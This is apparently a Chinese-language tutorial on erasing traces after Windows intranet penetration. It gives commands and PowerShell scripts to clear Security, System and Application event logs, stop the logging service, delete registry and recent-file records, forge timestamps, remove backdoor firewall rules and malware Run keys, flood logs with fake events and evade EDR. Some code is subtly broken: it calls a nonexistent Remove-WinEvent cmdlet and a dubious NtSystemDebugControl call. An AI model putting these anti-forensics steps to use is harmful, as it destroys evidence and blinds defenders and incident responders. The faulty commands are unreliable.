1. Windows内网渗透痕迹清理概述在企业内网渗透测试或红队演练结束后痕迹清理是至关重要的一环。Windows系统会记录大量操作日志、文件访问记录和注册表变更这些都可能暴露攻击路径。我曾参与过多次金融机构的内网渗透项目发现90%的溯源分析都始于Windows系统日志。2. 关键日志清理技术2.1 事件日志清除Windows事件日志分为系统、安全和应用三大类。实战中推荐两种清理方式wevtutil命令行工具# 清空指定日志 wevtutil cl Security wevtutil cl System wevtutil cl Application # 禁用日志服务需管理员权限 Stop-Service EventLog -Force直接操作日志文件 日志文件通常位于%SystemRoot%\System32\winevt\Logs\但直接删除会导致系统异常。更稳妥的做法是# 使用PowerShell清除单个事件 Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} | ForEach-Object { Remove-WinEvent -LogName Security -InstanceId $_.Id }注意Windows 10/Server 2016版本会记录日志清除操作事件ID 1102建议先禁用日志服务再操作。2.2 文件操作痕迹处理2.2.1 最近文件记录清理:: 清除资源管理器历史 reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs /f :: 清除跳转列表 del /f /q %AppData%\Microsoft\Windows\Recent\*2.2.2 时间戳伪造使用SetFileTime工具修改文件时间属性SetFileTime.exe -m 01/01/2020 12:00:00 -a 01/01/2020 12:00:00 -c 01/01/2020 12:00:00 C:\target.txt3. 注册表痕迹清理3.1 常见需清理的注册表项注册表路径包含内容清理命令HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run自启动项reg deleteHKCU\Software\Microsoft\Terminal Server Client\ServersRDP连接记录reg deleteHKLM\SYSTEM\CurrentControlSet\Services服务记录sc delete3.2 注册表操作技巧# 使用PowerShell删除注册表项 Remove-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Malware -Force # 恢复默认权限防止被检测异常 regini.exe -m HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options security.ini4. 内存与进程痕迹处理4.1 进程注入检测使用PowerShell检测可疑进程Get-Process | Where-Object { $_.Modules | Where-Object {$_.FileName -like *temp*} } | Stop-Process -Force4.2 驱动级清理对于高级对抗场景可能需要使用驱动清除// 示例使用NtSystemDebugControl清除内存 NTSTATUS status NtSystemDebugControl( SysDbgClearDebugFilter, NULL, 0, NULL, 0, NULL );5. 网络痕迹清理5.1 ARP缓存清理arp -d * netsh interface ip delete arpcache5.2 防火墙规则处理# 删除自定义防火墙规则 Remove-NetFirewallRule -DisplayName Backdoor Rule -ErrorAction SilentlyContinue6. 自动化清理工具推荐使用以下工具组合Metasploit的clearev模块基础日志清理Slack工具包中的CleanTracks全面痕迹清理自定义PowerShell脚本针对性清理示例脚本框架function Clear-WindowsTraces { param([switch]$DeepClean) # 基础清理 wevtutil cl Security reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f # 深度清理 if($DeepClean) { $PSScriptRoot\Sysinternals\handle.exe -p explorer.exe -a | ForEach-Object { if($_ -match temp) { $_.Split(:)[1].Trim() | Remove-Item -Force } } } }7. 反取证技巧日志填充技术使用合法事件淹没日志1..1000 | ForEach-Object { Write-EventLog -LogName Application -Source Application Error -EntryType Information -EventId 1000 -Message Generic application event }时间混淆修改系统时间后操作time 01:00:00 # 执行操作... time /t存储介质残留处理# 使用cipher.exe覆盖空闲空间 cipher /w:C:\8. 注意事项与经验操作顺序先停止日志服务再清理避免触发警报权限维持清理前确保留有备用管理员账户时间戳统一所有操作时间应保持逻辑一致性网络设备日志注意交换机/防火墙可能记录连接信息EDR规避企业环境需特别处理EDR产品的监控日志在一次金融行业渗透中我们曾因未清理Windows Defender的操作历史记录位于%ProgramData%\Microsoft\Windows Defender\Scans\History导致行动暴露。建议完整清理路径包括C:\Windows\Temp\ C:\Users\*\AppData\Local\Temp\ Prefetch目录需禁用服务最后提醒所有清理操作本身会产生新的日志条目理想情况是在取得权限后立即配置日志过滤策略而非事后清理。在最近的Windows 11 22H2版本中微软新增了Tamper Protection功能对日志服务的修改会触发安全警报需要特别处理。